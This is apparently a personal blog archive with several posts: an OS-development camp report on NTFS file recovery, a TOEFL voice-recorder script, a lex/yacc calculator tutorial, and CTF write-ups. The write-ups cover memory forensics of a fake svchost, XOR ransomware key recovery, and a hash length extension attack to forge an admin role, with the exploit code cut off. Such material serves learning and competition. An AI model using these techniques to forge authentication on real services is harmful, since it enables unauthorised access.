セキュリティキャンプ全国大会2017に参加しました

2017年08月14日から08月18日まで、東京都府中市で開かれたセキュリティキャンプ全国大会に参加してきました。ここでは私の参加した集中Xコースのx86OS自作ゼミでの活動について書こうと思います。
今回作ったOSは
https://github.com/ptr-yudai/osdev
にあります。（キャンプ終了時点ではバグだらけです。） もしかしたらOSに名前を付けて別リポジトリでまた0から作り始めるかもしれません。

事前学習

まずは作りたいOSについて目標設定します。これは途中で変えてもいいのですが、最初は「ディスクから削除されたファイルを救出できる」という目標を建てました。（応募時は「ディスクを読み書きできるOS」を目標にしてました。）OSは0から作るのですが、私の場合6月くらいから作り始めています。目標はともかく、32ビットOSを作るために最初にやることは大きく分けて保護モードへの移行と割り込みの有効化なのですが、これらを7月始めくらいに完成させました。（サイボウズで07/03にIDEの話をしているのでこのくらい？）そこからIDEでハードディスクを読み込むのを実装するのですが、結構難しかったのを覚えています。ですが、この辺りまでは正直osdevのwikiやforumを参考にしてサクサク作っていた感じです。（1日平均1時間くらいしか時間を取れなかった。）ここからが地獄の始まりです。ディスクを直接読むのでファイルシステムを扱う必要があるのですが、最初にFAT, NTFS, EXTのどれにするか迷いました。世界的にシェアが高いのはFATかNTFSなのですが、FATは簡単すぎると思ってNTFSを目標にしてしまいます。MBRやブートセクタは簡単でしたし、MFTと呼ばれる各ファイル（ディレクトリやその他システム設定も）のレコードの構造も仕様通りに解析していました。ディレクト以下のファイル一覧は$INDEX_ROOT($INDEX_ALLOCATION)を見れば分かるので、これでルートディレクトリのlsもできました。しかし、ここで躓きます。$INDEX_ROOT($INDEX_ALLOCATION)にはINDEX_RECORDというのが並んでいて、それぞれがディレクトリ下のファイルの情報を持っているのですが、FILENAMEという属性しか持っていないのです。てっきり「ファイル情報」＋「そのファイルのレコード本体へのポインタ(クラスタ番号)」みたいなのを持っていると思ったのですが、本体の場所が分からないのでFILENAME以外の情報は分かりません。ここで1週間以上悩んで、$MFTという「全てのファイルへ参照できるファイル」というものを使えばいいんじゃないかと思い、$MFTのDATA属性を辿ると目的のファイルが見つかりました。これで一件落着したと思ったのですが、$MFTのDATA属性をどこまで辿ればいいのか分からず、またファイル数が多いときは時間かかるんじゃないか、と思っています。これは未だに線形探索の実装しているので、誰か正しい方法知っていたらここかtwitterで教えてくださいm(_ _)m
 

キャンプ一日目

基調講演でサイバーディフェンス研究所の方がフォレンジックについてお話されたので聞いていて、ファイルを削除してもデータは残るよ、と言っていたのですが残念ながらその詳しい参照方法は説明されませんでした。キャンプ終了後に聞こうと思ったのですが、すぐに帰ってしまったらしく、分からずじまいになりました。
 

キャンプ二日目

なんだかんだでとりあえずディレクトリ一覧(fls)までは作ってきたので、icatとかistatとかを初日に実装します。他には細かいバグ潰しやコマンド入力画面を少しきれにしたりしていました。また、チューターの方が"File System Forensics Analysis"という本を貸してくださり、これが結構いろんな情報が書いてあり役に立ちました。そんなこともあって当初の目的であった削除済みファイルの復元には成功しました。このころ他の参加者はみんなページングとかタスク切り替えとかOSらしいことをしていたので、一人だけこんなOS作ってていいのかと思いながら二日目終了。
 

キャンプ三日目

 このころ、自作OSにLinuxにもWindowsにも無いオリジナリティを組込むという課題(?)を与えられます。ファイル復元なんて復元ソフトでもできますし、SystemRescueCdというもっと高機能なOSもあったので、この辺からフォレンジックに特化したOSを目ざし始めます。具体的にはTSKやAutopsyなどに付いているタイムライン機能やファイルカービングを付けようと思います。この日は画面をスクロールさせる機能を付けました。それから、"File System Forensics Analysis"に$LogFileというフォレンジックっぽいファイルがあったので、それを解析する機能を付けることにしました。しかし、このファイルはまだ仕様が解明されていないようで、結局$LogFile内の特定のファイル名を探索する機能だけを付けて終わりました。Microsoftは早くNTFSの仕様公開してください。また、タイムライン機能のために時間でソートする必要があるのですが、講師の方に赤黒木を使えば速いという話を聞きます。夜にプロに赤黒木について聞いたのですが、あと1日で作るには実装コストが高かったので線形リストを使ってO(n)O(n^2)で妥協することにしました。

キャンプ四日目

 最終日はタイムラインを実装しました。そこでまたオリジナリティについて問われるのですが、「OSにすることでディスクダンプの手間が省ける！」と言うと「LinuxのLive Bootでツール動かしちゃダメなの？」という正論をいただきます。そこで、それに加えて省メモリを売りにすることにしました。具体的に省メモリとは何かを定義するため、x86でファイルシステムを扱うOSについて調べると、Win 95の8MBでの動作が調べた限り最小でした。私のOSは2MBでも一応動くので、これなら省メモリと言えるだろうということにしました。（実は2MBだとタイムラインでファイルパスが取得できないので、タイムラインにはファイルパスを調査しないオプションを付けてごまかしました。）四日目の後半でコマンドを使うにつれてメモリ使用量が増えていることに気付いたのですが、何をfreeし忘れているのか分からず終了。今迄もfree忘れに気づくためにfreeチェッカーみたいな機能を付けていたのですが、そもそもその機構に問題があったらしく、全然freeできていませんでした。これは修正ポイントです。ですが、削除されたファイルが復旧できるというインパクトが強いので講師の方に成果報告の発表者として選んでいただきました。
 

その他

 キャンプでは専門講義以外にもグループワークや企業プレゼンなどがあったのですが、それについては他の参加者がたくさん書いてくれているので私からは書きません。ただ、BoFで海外のセキュリティ関連イベントについて聞いて、めちゃくちゃ海外イベントに参加したくなりました。何とかお金を使わず海外イベントに参加できる方法を模索しています。誰か連れてって〜。

まとめ

 「ファイルの読み書きができるOS」という最初の目標から「フォレンジックが得意なOS」に変貌しましたが、結果良かったと思います。OSの機構についても少し学べましたし、講師の方にOS開発で便利なライブラリをいくつか教えてもらえたので今後使ってみようと思います。私はずっとNTFSでしたが、周りの人との交流もあったのでマルチタスクがどんなものか、ページングをどう設定するか、64bit難しい、などなど自分が触れていない部分も知ることができました。参加前は「選択でも良かったかな〜」とか思っていましたが、今はX-Xを選んでおいて本当に良かったと思っています。
あと、ずっとNTFSに漬かっていたので特定のファイルを見つけるくらいならバイナリエディタで読める体質になってしまいました。

期待をはるかに上回った内容のセキュリティキャンプでした。運営、協賛企業等、講師、チュータの方々は本当にありがとうございました。参加者の方々はお疲れさまでした。これからもお世話になると思うのでよろしくお願いします！

[LINUX] Simple Voice Recorder for TOEFL Speaking Test

 Since I will take TOEFL iBT several months hence, I need to prepare for the speaking part, which I can't get good marks. It'll be the first time for me to take TOEFL iBT tests. I've ever taken TOEIC once before, though.
 Anyway, to practice speaking, I need to record my voice and listen to my (poor) English. As I have no voice recorders, I made a simple python code to record my voice. It's useless for most of those who take TOEFL because it's designed for linux users, but I decided to share this program.

	# Simple Voice Recorder for TOELF Speaking Test
	# Usage:
	# python record.py [output.wav]
	# Requirement:
	# Python 2, arecord (often pre-installed on linux)
	# What does this program do?
	# First, this program will wait 15 seconds, which is the same length given in the TEFL test for preparing your answer.
	# Second, arecord will begin to record your voice for 45 seconds in which you need to answer the question.
	# After that, the recorded voice will be saved as a wav file.
	# Optionally, you can listen to the recorded voice after your answer.
	import subprocess
	from subprocess import Popen
	import os
	from os import path
	import time
	import sys
	if len(sys.argv) < 2:
	print("Output filepath required.")
	exit(1)
	pre_limit = 15
	limit = 45
	output = sys.argv[1]
	cmd = "arecord -d {0} -f cd {1}".format(limit, output)
	if path.exists(output):
	print("Output file already exists.")
	exit(1)
	print("Prepare for your answer in {0} seconds.".format(pre_limit))
	for i in range(pre_limit):
	print("{0} seconds left".format(pre_limit-i))
	time.sleep(1)
	print("Answer the question...")
	proc = Popen(cmd, shell=True)
	for i in range(limit):
	time.sleep(1)
	if i == 0: print("START")
	print("{0} seconds left".format(limit - i))
	print("END")
	proc.wait()
	time.sleep(1)
	# If you want to listen to the recorded voice,
	# comment out the following line and change 'vlc' into the program name of your sound player.
	#os.system("vlc ./".format(output))

view raw record.py hosted with ❤ by GitHub

This code can only be run on linux. Also, you need to install python and arecord in advance. Both of them are usually pre-installed in linux. To make this code work, you have to give one argument that indicates the output file name. As it's written on the top of the code, after running this program, you will have 15 seconds to prepare for your answer. In the 15 seconds, you need to come up with what to answer, consider its reasons and some examples. It's too short, isn't it? Well, next you will have 45 seconds to answer the question. You can optionally start sound player to listen to the recorded voice, by commenting out the last line of the code. (You need VLC media player in this case.)
Since this code was written in 10 minutes, it may contain some bugs.
Anyway, I hope it will help someone....

きつねさんでもわかるLLVM - kosen14s読書会

はじめに

この投稿はkosen14s読書会用の記事です。
Kosen14s読書会
kosen14s読書会では、何人かのメンバーが自由なジャンルの本を紹介します。前回はPractical Malware Analysisについて投稿しました。

きつねさんでもわかるLLVM

本記事で紹介する本は、柏木 餅子さんと風薬さんの著書「きつねさんでもわかるLLVM ~コンパイラを自作するためのガイドブック~」です。
きつねさんでもわかるLLVM ~コンパイラを自作するためのガイドブック~
表紙とタイトルを見て、「これならコンパイラが作れそう！」と思った時期もありました......
というのも、やはり内容は難しかったです。そして私はまだ完全に理解してません。そのため今回は、電卓を例にとってプログラミング言語がどのように表現されるかについて、かいつまんで説明します。ただ、あまり細かいところを理解していないのでところどころ説明に間違いがあるかもしれません。

電卓を作ってみる

こんな記事に辿り着く人はコンパイラを使ったことがある人がほとんどだと思います。コンパイラは入力されたソースコードを解析し、中間言語を生成したり実行ファイルを生成したり、とにかく人間が読めるコードを機械が解釈できるコードに変換するツールです。本書で使用するLLVMでは、ソースコードをレキシカルアナライザと呼ばれるプロセッサでトークンと呼ばれる意味を持った単語に分割されます。例えば次のような入力ソースコードがあったとします。
「4 / 3 * 3.14 * 10 ** 2」
レキシカルアナライザはこれを次のように分割します。
「4」「/」「*」「3.14」「*」「10」「**」「2」
そして、lex/yaccという言語(?)を使うと自分がどんな言語を作りたいかを規定するだけでこのトークン分割を自動でやってくれるのです。電卓程度ならこれを規定するのが非常に簡単です。例えば足し算「+」を定義したければ次のように書きます。
"+" {
    return OPERATOR_ADD;
}



OPERATOR_ADDなども別ファイルで自分で定義するので、四則演算だけでなく、複雑な演算やオリジナルの演算子を簡単に定義できてしまうのです。また、演算子以外にも「整数とは何か」や「小数とは何か」も定義する必要があります。例えば小数は次のように定義されます。
[0-9] *\.[0-9]* {
    double temp_box;
    sscanf(yytext, "%lf", &temp_box);
    yylval.double_value = temp_box;
    return DOUBLE_LITERAL;
}



先程の足し算より長くなりましたが、これは計算時に具体的な数字を参照するためにyytextなどを設定する必要があるからです。詳しくはぜひ本を読んでみてください。


このように「足し算とは」「整数とは」「文字列とは」「変数とは」「関数とは」などなど、トークンについて全て定義します。次にこれらトークンを解釈するのがパーサと呼ばれるプロセッサです。例えば「1+2*3」を計算するとき、人間は掛け算を優先します。また、「*は乗算である」だけでなく、「乗算とは何か」という具体的な処理を解釈するのがこのパーサyaccです。さらに、パーサはコンパイルエラーを出す必要があります。例えば「1+2*3*」という計算式はエラーとなります。ではエラーでない乗算とは何かというと、「A*B」のように「*」の両側に数字が付いていることです。数字というより、最終的に数字になる式がAやBにあたります。例えば「(1+2)*(3*4+1)」の場合、(1+2)と(3*4+1)をそれぞれA,Bとして認識させる必要があります。そういった表現の定義はBNFという記法で書かれます。先の例でAやBをtermとして定義します。（もちろんこれも自分で定義するのでtermじゃなくてhogeとかでもいいです。）
term
: primary_expression
| term OPERATOR_MUL primary_expression
{
    $$ = $1 * $3;
}
| term OPERATOR_DIV primary_expression
{
    $$ = $1 / $3;
}
;
一行目は「termとは何か」の定義開始です。二行目は「termとはprimary_expressionである」という意味です。ちなみにprimary_expressionは後で定義する「値」を表すものです。ここまでで「式termとは値primary_expressionである」と定義されました。三行目は「もしくはterm * primary_expressionである」という意味です。OPERATOR_MULは前にレキシカルアナライザのところで定義しました。ここで注目したいのが、termの定義にtermが入っているということです。これだとずっと自分自身を参照しそうですが、一行目の「termとはprimary_expressionである」があることにより、いつかはprimary_expressionに移るのです。「term * primary_expression」を宣言しましたが、これが返す具体的な値を各必要があります。これが四行目から六行目の括弧内にある「$$ = $1 * $3;」で、「返す値 = term * primary_expression」という意味です。$1とか$3は今解析しているトークンから何番目のトークンであるかを示します。同様にして除算も定義しました。加算や減算は優先順位が低いのでexpressionとして定義します。（最後に全体のコードを示します。）
さて、 「termとはprimary_expressionである」と定義したので、今度はprimary_expressionも定義します。これはただの値（今回は小数のみ）なので、次のようにかけます。
primary_expression
: DOUBLE_LITERAL
;
ここで始めてその項の評価が終わります。（ツリーの葉に到達する。）
詳しく知りたい方は是非本を読んでみることをおすすめしますが、今回の電卓の全体像を載せておきます。

	/*
	%{ ...%}で囲まれた行はC言語そのままとして解釈されます。
	したがって、%{ ... %}内は解析時にスキップされ、
	コンパイル時にコンパイラが読むだけです。
	*/
	%{
	/* stdio.hはキーボードからの入力に必要です。 */
	#include <stdio.h>
	/* "y.tab.h"はyaccコマンド実行時に出力されます。 */
	#include "y.tab.h"
	/* 必要な関数だけど使わないので空 */
	int yywrap(void) { return 1; }
	%}
	/*
	%% ... %%で囲まれた行はlexに解析されます。
	ここには自分の作りたいプログラム言語の規則を書きます。
	*/
	%%
	/**** 次のようにyaccでは「演算子」を定義します。
	「足し算」とは...
	"+" : "+"である
	詳細な計算方法はcalc.yで定義します。
	*/
	"+" {
	/* ここには上の定義のもと「足し算」と判断された場合の処理を書きます */
	return OPERATOR_ADD;
	}
	"-" {
	return OPERATOR_SUB;
	}
	/* returnだけの場合、次のように{}を省略できます。 */
	"*" return OPERATOR_MUL;
	"/" return OPERATOR_DIV;
	"\n" return EOL;
	/**** 次のようにyaccでは「整数とは」を定義する必要があります。
	整数とは...
	[1~9] --> 文字の1~9が最初にある
	[0-9]* --> 文字の0~9が続く('*'が繰り返しを意味する)
	*/
	[1-9][0-9]* {
	/*** ここには上の定義のもと「整数」と判断された場合の処理を書きます。 */
	double temp_box;
	/* 今回は実数しか使わないので実数として読み込みます */
	/* 現在の文字(yytext)を整数(%d)としてtemp_boxに入力します。 */
	sscanf(yytext, "%lf", &temp_box);
	/* 現在のint_valueは上で取得した整数です。 */
	yylval.double_value = temp_box;
	return DOUBLE_LITERAL;
	}
	/* 上の定義だと0が整数にならないので定義します。 */
	"0" {
	yylval.double_value = 0.0; // "0"は0.0
	return DOUBLE_LITERAL;
	}
	/**** 実数とは...
	[0-9]* --> 文字の0~9が続く
	\. --> 文字の"."がある('.'は正規表現で意味を持つので'\.'と書きます)
	[0-9]* --> 文字の0~9が続く
	*/
	[0-9]*\.[0-9]* {
	/*** ここには上の定義のもと「実数」と判断された場合の処理を書きます。 */
	double temp_box;
	/* 現在の文字(yytext)を実数(%lf)としてtemp_boxに入力します。 */
	sscanf(yytext, "%lf", &temp_box);
	/* 現在のdouble_valueは上で取得した実数です。 */
	yylval.double_value = temp_box;
	return DOUBLE_LITERAL;
	}
	/*
	DOUBLE_LITERALやOPERATOR_ADDなどの定数は
	calc.yの方で定義するので、それと同じ名前であれば
	何でも構いません。
	yytextやyylvalもcalc.yの方で定義します。
	yylval内のdouble_valueなどもcalc.yで定義します。
	*/
	%%

view raw calc.l hosted with ❤ by GitHub

	/*
	%{ ...%}で囲まれた行はC言語そのままとして解釈されます。
	したがって、%{ ... %}内は解析時にスキップされ、
	コンパイル時にコンパイラが読むだけです。
	*/
	%{
	#include <stdio.h>
	#include <stdlib.h>
	%}
	// 現在解析中の具体的な値が入ります
	%union {
	// プログラミング言語などでは型がたくさんあるので
	// 構造体などをここに入れますが、
	// 今回は実数しか使わないようにしました。
	double double_value;
	}
	%token <int_value> INT_LITERAL // 例えばcalc.lで整数と判定されたら、
	%token <double_value> DOUBLE_LITERAL // INT_LITERALを受け取ることになります。
	%token OPERATOR_ADD // 演算子にも名前を付けておきます。
	OPERATOR_SUB // これらもcalc.lで使う用なので、
	OPERATOR_MUL // ここでは宣言だけをしておきます。
	OPERATOR_DIV
	EOL // 行の終端すら定義します
	//
	// %type <int_value>
	%type <double_value> expression term primary_expression
	/*
	%% ... %%で囲まれた行はlexに解析されます。
	ここには自分の作りたいプログラム言語の規則を書きます。
	*/
	%%
	//// 次のようにyaccでは「ソースコードとは」すら定義する必要があります
	// 「ソースコード」とは...
	// line --> 1行
	// | --> または
	// source_code line --> 「ソースコード」「1行」で構成される
	source_code
	: line
	| source_code line
	;
	//// 次のようにyaccでは「行とは」すら定義する必要があります
	// 「行」とは...
	// expression --> 何かしらの式がある
	// EOL --> 改行文字がある
	line
	: expression EOL
	{
	//// ここには「行である」であると判定された際の処理を書きます。
	// 行判定されたら解析結果($1)を出力します。
	printf(">> %lf\n", $1);
	}
	;
	//// 上で使った「何かしらの式」(expression)を定義します
	// 「何かしらの式」(expression)とは...
	// term --> 項である
	// | --> または
	// expression OPERATOR_ADD term --> 「何かしらの式」 + 項 である
	// | --> または
	// expression OPERATOR_SUB term --> 「何かしらの式」 - 項 である
	expression
	: term
	| expression OPERATOR_ADD term
	{
	//// ここには入力文字が「expression + term」であると判定された際の処理を書きます。
	// $1 : expression
	// $2 : OPERATOR_ADD
	// $3 : term
	// 結果 = expression + term
	$$ = $1 + $3;
	}
	| expression OPERATOR_SUB term
	{
	$$ = $1 - $3;
	}
	;
	//// もちろん「項」も定義します。
	// 「項」(term)とは...
	// primary_expression --> 「1つの項」である
	// | --> または
	// term OPERATOR_MUL primary_expression --> 「項」 * 「1つの項」である
	// | --> または
	// term OPERATOR_DIV primary_expression --> 「項」 / 「1つの項」である
	term
	: primary_expression
	| term OPERATOR_MUL primary_expression
	{
	$$ = $1 * $3;
	}
	| term OPERATOR_DIV primary_expression
	{
	$$ = $1 / $3;
	}
	;
	// 「1つの項」(primary_expression)とは...
	// DOUBLE_LITERAL --> 実数である
	primary_expression
	: DOUBLE_LITERAL
	;
	%%
	/*
	ここにコンパイルエラー発生時の処理を書きます。
	*/
	int yyerror(char const* str)
	{
	extern char *yytext;
	fprintf(stderr, "Error near %s\n", yytext);
	return 0;
	}
	/*
	ここにコンパイラを書きます。
	今回は電卓なので、標準入力から文字を受け取って計算結果を出力します。
	*/
	int main(void)
	{
	// yaccが勝手に解析してくれる関数
	extern int yyparse(void);
	// コンパイルすべきファイル
	extern FILE *yyin;
	// 今回はファイルではなくstdinからの入力
	yyin = stdin;
	if (yyparse()) {
	// エラー発生
	fprintf(stderr, "ERROR!\n");
	exit(1);
	}
	return 0;
	}

view raw calc.y hosted with ❤ by GitHub

	# calc.binを出力するコマンド
	calc.bin: y.tab.c lex.yy.c # 下のコマンドに必要なファイル
	cc -o calc.bin y.tab.c lex.yy.c
	# y.tab.cを出力するコマンド
	y.tab.c: calc.y # 下のコマンドに必要なファイル
	yacc -dv calc.y
	# lex.yy.cを出力するコマンド
	lex.yy.c: calc.l # 下のコマンドに必要なファイル
	lex calc.l
	# ゴミを削除
	clean:
	rm y.output y.tab.c y.tab.h
	rm lex.yy.c

view raw Makefile hosted with ❤ by GitHub

実行するとこんな感じで計算できます。

ついでに括弧付き計算や累乗にも対応したバージョンです。

	%{
	#include <stdio.h>
	#include "y.tab.h"
	int yywrap(void) { return 1; }
	%}
	%%
	"+" return OPERATOR_ADD;
	"-" return OPERATOR_SUB;
	"*" return OPERATOR_MUL;
	"/" return OPERATOR_DIV;
	"^" return OPERATOR_POW;
	[1-9][0-9]* {
	double temp_box;
	sscanf(yytext, "%lf", &temp_box);
	yylval.double_value = temp_box;
	return DOUBLE_LITERAL;
	}
	"0" {
	yylval.double_value = 0.0;
	return DOUBLE_LITERAL;
	}
	[0-9]*\.[0-9]* {
	double temp_box;
	sscanf(yytext, "%lf", &temp_box);
	yylval.double_value = temp_box;
	return DOUBLE_LITERAL;
	}
	[ \t] ; // [追加]タブや空白は無視
	"\n" return EOL;
	%%

view raw calc.l hosted with ❤ by GitHub

	%{
	#include <stdio.h>
	#include <stdlib.h>
	%}
	%union {
	double double_value;
	}
	%token <int_value> INT_LITERAL
	%token <double_value> DOUBLE_LITERAL
	%token OPERATOR_ADD
	OPERATOR_SUB
	OPERATOR_MUL
	OPERATOR_DIV
	OPERATOR_POW // [追加]累乗
	EOL
	%type <double_value> expression
	expression_addsub
	expression_muldiv
	expression_power
	expression_term
	%%
	source_code
	: line
	| source_code line
	;
	line
	: expression EOL
	{
	printf(">> %lf\n", $1);
	}
	;
	/* [変更]
	expressionやらtermやらややこしいので、
	expression_演算子
	に変更。
	優先順位が高いほどexpression_termに近く、
	優先順位が同じものは同じexpressionに記述する。
	*/
	expression
	: expression_addsub
	;
	expression_addsub
	: expression_muldiv
	| expression_addsub OPERATOR_ADD expression_muldiv
	{
	$$ = $1 + $3;
	}
	| expression_addsub OPERATOR_SUB expression_muldiv
	{
	$$ = $1 - $3;
	}
	;
	expression_muldiv
	: expression_power
	| expression_muldiv OPERATOR_MUL expression_power
	{
	$$ = $1 * $3;
	}
	| expression_muldiv OPERATOR_DIV expression_power
	{
	$$ = $1 / $3;
	}
	;
	expression_power
	: expression_term
	| expression_power OPERATOR_POW expression_term
	{
	int i;
	double ret;
	// 累乗とは
	for(i = 0, ret = 1.0; i < (int)$3; i++) {
	ret *= $1;
	}
	$$ = ret;
	}
	;
	expression_term
	: DOUBLE_LITERAL
	;
	%%
	int yyerror(char const* str)
	{
	extern char *yytext;
	fprintf(stderr, "Error near %s\n", yytext);
	return 0;
	}
	int main(void)
	{
	// yaccが勝手に解析してくれる関数
	extern int yyparse(void);
	// コンパイルすべきファイル
	extern FILE *yyin;
	// 今回はファイルではなくstdinからの入力
	yyin = stdin;
	if (yyparse()) {
	// エラー発生
	fprintf(stderr, "ERROR!\n");
	exit(1);
	}
	return 0;
	}

view raw calc.y hosted with ❤ by GitHub

実行するとこんな感じで計算できます。

さいごに

数年前にもこの本を手に取ったのですが、当時は何一つ分からずに放置していました。しばらくして読んでみると内容が全然違うとうに思えて面白いですね。まだまともな変数も実装できないですが、ちょっとずつ勉強して、いつかまともな言語を作れたらと思います。

SECCON 2016 Online予選に参加しました

結果

既に本選参加権は持っていたので、今回はいつものメンバーと分断して気楽にチームdogeとして参加しました。得点は700点で順位は125位でした。オンライン予選は初参加ですが、予想以上に難しかったです。今回は自分が解いた「VoIP」「Memory Analysis」「Anti-Debugging」「randomware」について軽くWriteupを書きます。

VoIP

タイトル通りVoIPを使用した電話のパケットを記録したデータを解析する問題です。Wiresharkにはこれを解析する機能が備わっているので、それで通話内容を再生できます。（LinuxのWiresharkでは再生機能がありませんでした。）あとは喋っているフラグを聞けばいいのですが、「V」を「B」と聞き間違えていたので結構時間がかかりました。気付くまでの間は次のMemory Analysisに取り組んでいました。
フラグ：FLAG{9001IVR}

Memory Analysis

これもタイトル通りで、Windowsのメモリダンプを解析する問題です。どれかというとForensicが得意分野なので何としても解かなければならない問題です。問題文は、「偽物のsvchost.exeが接続しようとしている宛先はどこですか」というものです。

$ volatility --file=forensic_100.raw imageinfo
[snip]
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
[snip]

まぁ問題文から分かりますが、Windowsだそうです。とりあえずsvchost.exeについて調べる訳ですが、pstreeすると結構たくさんのsvchost.exeがありました。

$ volatility --file=forensic_100.raw --profile=WinXPSP2x86 pstree

上のコマンドの実行結果より、svchost.exeという名前のプロセスはPIDが1036,936,1088,848,1320,1776,1704の7個あります。次にこれらのプロセスのうち偽物を判別するために、dlllistを使用します。

 $ volatility --file=forensic_100.raw --profile=WinXPSP2x86 dlllist --pid=1036,936,1088,848,1320,1776,1704

すると、PIDが1776のsvchost.exeはパスが他と違って"C:\Windows\svchost.exe"である他、ロードされているDLLも他と大きく異なります。そこでこれをダンプして、stringsで接続先が見つからないかを試します。

$ volatility --file=forensic_100.raw --profile=WinXPSP2x86 procdump --pid=1776 -D ./
$ strings executable.1776.exe | grep http
C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd

それらしいものが見つかりました。しかし、このサイトにはデータは存在しません。そこでhostsファイルを調べます。

$ volatility --file=forensic_100.raw --profile=WinXPSP2x86 filescan | grep hosts
0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts
$ volatility --file=forensic_100.raw --profile=WinXPSP2x86 dumpfiles -Q 0x000000000217b748 --name -D ./
$ cat file.None.0x819a3008.hosts.dat
[snip]
153.127.200.178    crattack.tistory.com

実際の接続先が153.127.200.178であることが判明したので、こちらの方にアクセスします。ファイルをダウンロードすると中にフラグが書いてあります。
フラグ：SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}

Anti-Debugging

アンチデバッグ系にはそこそこ慣れていたので簡単でした。ひたすらアンチデバッグ技術が登場するので、それらを掻い潜るとフラグを表示してくれます。普通に実行したらダメなの？と思いましたがVMware上にしかWindowsを持っておらず、VMware検知もあったのでデバッガで回避することに。OllyDbgやらIDAやらをいろんな方法で検知してきますが、ひたすらZFを変更し続けるとスキップできます。最後に0除算(?)で例外を発生させているので注意。（フラグは忘れました。）

randomware

これもフォレンジックなので個人的に解きたかった問題です。開始18時間くらいでうっかり寝ていて、起きたらスッキリして解けました。これはQEMUのディスクイメージが渡されるのですが、とりあえずrawに変換してFTKで中身を見ました。いろいろ見ていると「h1dd3n_s3cr3t_f14g.jpg」と「getflag」というファイルがあったのでここから着手することに。h1dd3n_s3cr3t_f14g.jpgの方はバイナリはJPEGのものとは大きく異なり、0から0xFFでXORしてみるも全てfileコマンドではdataとなりました。getflagはLinux用の32bitバイナリで、IDA Proで解析しました。問題を解くのに必要な大体の流れば次のようになります。

1) /dev/urandomから0x400バイトを取得 --> encrypt_keyに格納
2) 再帰的に特定の条件にマッチするファイルを選ぶ
3) 2)のファイル全体を0x400バイトのencrypt_keyでXOR

ということで、明らかにXORされたっぽいファイルを探します。「h1dd3n_s3cr3t_f14g.jpg」以外に、「blocklist.xml」「revocations.txt」「user-extension-html.xml」などのファイルがXORされていました。問題は、いずれも平文が無いということです。元の文が無いと数学的に考えて解読できないじゃないか！と思っていましたが、例えばXMLの最初が「<?xml version...」みたいな文字で始まることを考えると最初の部分のencrypt_keyは取得できます。
次のポイントは、blocklist.xmlおよびrevocations.txtはfirefox等が作成するファイルで、作者が用意したものではないという点です。実際これらのファイル名で調べると、内容はサイトによってバラバラであるものの、「だいたいこういうことが書いてある」ということは分かります。また、user-extension-html.xmlについては結構最初の部分が固定されているので、これで100バイトくらいはencrypt_keyを求められることになります。
これだけencrypt_keyを求められたら、反対にblocklist.xmlおよびrevocations.txtの最初の100バイトくらいも復元できます。解いてるときはこの辺で時間かかったのですが、ここでは最終的に確立したやり方だけを説明します。
revocations.txtは内容がBase64です。また、ファイル全体をBase64エンコードしている訳ではなく、意味のあるブロックごとにエンコードしています。したがって、例えばencrypt_keyにより最初の数バイト「MMGExCzAJ」くらいさえ分かれば、ネット上に転がっているrevocations.txtから同じブロックを探して、続きを予測することができます。続きが分かるということは、反対にencrypt_keyの分からなかった部分が徐々に分かっていくということです。この「blocklist.xml」<--encrypt_key-->「revocations.txt」のやりとりを繰り返すことでencrypt_keyを0x400バイト全て求めることができました。
正攻法かは分かりません。
フラグ：SECCON{This is Virtual FAT too} (お肉の写真とともに)

まとめ

挑戦した中でも「checker」なんかは解き方が分かってたのにコードでミスしてて諦めてしまいました。（「動かない」＋「300pt」＝「自分が間違ってる」）他にも「こんなの解けたじゃん」みたいな問題が500pt分くらいはあったので、もったいないなぁという感じでした。何はともあれ楽しかったです。運営のみなさん、参加者のみなさん、お疲れ様でした！

katagaitaiCTF#5 関西medに参加しました

本日（08月28日）に大阪で開催されたkatagaitai CTF勉強会(med)に参加してきました。

内容は午前はCryptography, 午後はPwnでした。Cryptographyはハッシュ関数に関する攻撃をやりました。問題はhack you 2014のhashmeと、ebCTF 2013のmd5collidingを中心に勉強しました。どうも講師の方がこのwriteupを読む可能性があるようなので、今回はしっかり書こうと思います。ちなみに一番前の中央に座っていました。[ ^o^]
katagaitaiCTFの5周年おめでとうございます。

午前 - Cryptography

Length extension attackやハッシュ衝突系の問題は昔勉強したことがあったので、今回のCryptographyはあまり資料を見なくても解けました。

hashme

ユーザー名を登録すると、「login=[username]&role=anonymous」で登録されます。ログインする際にroleにadministratorが入っていればフラグが表示されます。しかし、ログインするには登録時に生成される認証コードが必要です。認証コードは
s = "login=[username]&role=anonymous"
base64( xor( s + hashme(SALT + s), KEY ) )
で生成されます。
ただし、SALTとKEYはサーバー側にあり、不明です。(ローカルで実行する際はSALT="HOGE", KEY="\x01\x02\x03\x04"にしました)
ここでhashmeという独自実装のハッシュ関数がありますが、md5のように32バイトのhexdigestを出力するハッシュ関数で、ハッシュでごちゃごちゃにした各4バイトのA, B, C, DをB, A, D, Cの順にくっつけて出力しています。

(1)KEYを取得
とりあえずKEYは単純なxorで使われており、入出力はどちらも取得できるので、まずKEYを計算します。方法として、認証コード(cert)をbase64デコードし、それと"login=[username]&role=anonymous"をxorすれば、KEYの最初の方から復号化できます。さらに、[username]の長さを長くすると、それだけKEYを長く復号化できます。xorではKEYを繰り返してxorしているので、同じパターンの繰り返しが出た時点でそこまでが実際のKEY値です。

(2)length extension attackを実行
本日まではhashpumpしか使えなかったのですが、今回の講義を通して原理が分かったので実装することができました。ハッシュ関数は、ある時点で(A, B, C, D)が計算され、それをもとに次の(A, B, C, D)を計算する、という動作を繰り返しています。したがって、最終的に出力された(A, B, C, D)を使って、次の(A, B, C, D)を計算することで、hashme(A)の結果だけからhashme(A+B)が作れるということです。ただし、(A, B, C, D)の計算内には現在のバイトインデックスも含まれるので、Aの長さも必要です。今回の場合、 s = "login=[username]&role=anonymous"のときのhashme(SALT + s)が取得できるので、それをもとにhashme(SALT + s + "&role=administrator")を作ります。
しかし、SALTの長さは分からないので、ここは1から順番に仮定して、成功するまで繰り返します。

これらを実装したpython2のコードを載せます。ただし、pwntoolsというライブラリを使用しています。

	# coding: utf-8
	from pwn import *
	#
	# crypto200.pyからそのまま引用
	#
	from math import sin
	from urlparse import parse_qs
	from base64 import b64encode
	from base64 import b64decode
	from re import match
	def xor(a, b):
	return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100)))
	def F(X,Y,Z):
